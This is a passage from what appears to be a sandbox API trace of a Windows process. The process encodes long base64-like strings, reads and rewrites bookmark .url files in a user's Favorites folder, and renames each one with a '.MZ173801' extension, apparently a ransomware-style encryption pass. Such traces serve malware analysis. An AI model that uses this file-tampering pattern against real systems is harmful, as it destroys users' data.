lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.253] GetCurrentThreadId () returned 0x9fc [0144.253] GetCurrentThreadId () returned 0x9fc [0144.253] GetCurrentThreadId () returned 0x9fc [0144.254] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.254] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.254] GetCurrentThreadId () returned 0x9fc [0144.254] GetCurrentThreadId () returned 0x9fc [0144.254] GetCurrentThreadId () returned 0x9fc [0144.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.255] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.255] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.255] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.255] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.255] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.257] CloseHandle (hObject=0x224) returned 1 [0144.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.258] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.259] CloseHandle (hObject=0x224) returned 1 [0144.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.mz173801")) returned 1 [0144.260] GetCurrentThreadId () returned 0x9fc [0144.260] GetCurrentThreadId () returned 0x9fc [0144.260] GetCurrentThreadId () returned 0x9fc [0144.260] GetCurrentThreadId () returned 0x9fc [0144.260] GetCurrentThreadId () returned 0x9fc [0144.260] GetCurrentThreadId () returned 0x9fc [0144.260] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0144.260] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.260] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.260] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.264] GetCurrentThreadId () returned 0x9fc [0144.264] GetCurrentThreadId () returned 0x9fc [0144.265] GetCurrentThreadId () returned 0x9fc [0144.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.265] GetCurrentThreadId () returned 0x9fc [0144.265] GetCurrentThreadId () returned 0x9fc [0144.265] GetCurrentThreadId () returned 0x9fc [0144.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.266] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.266] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.266] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.266] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: 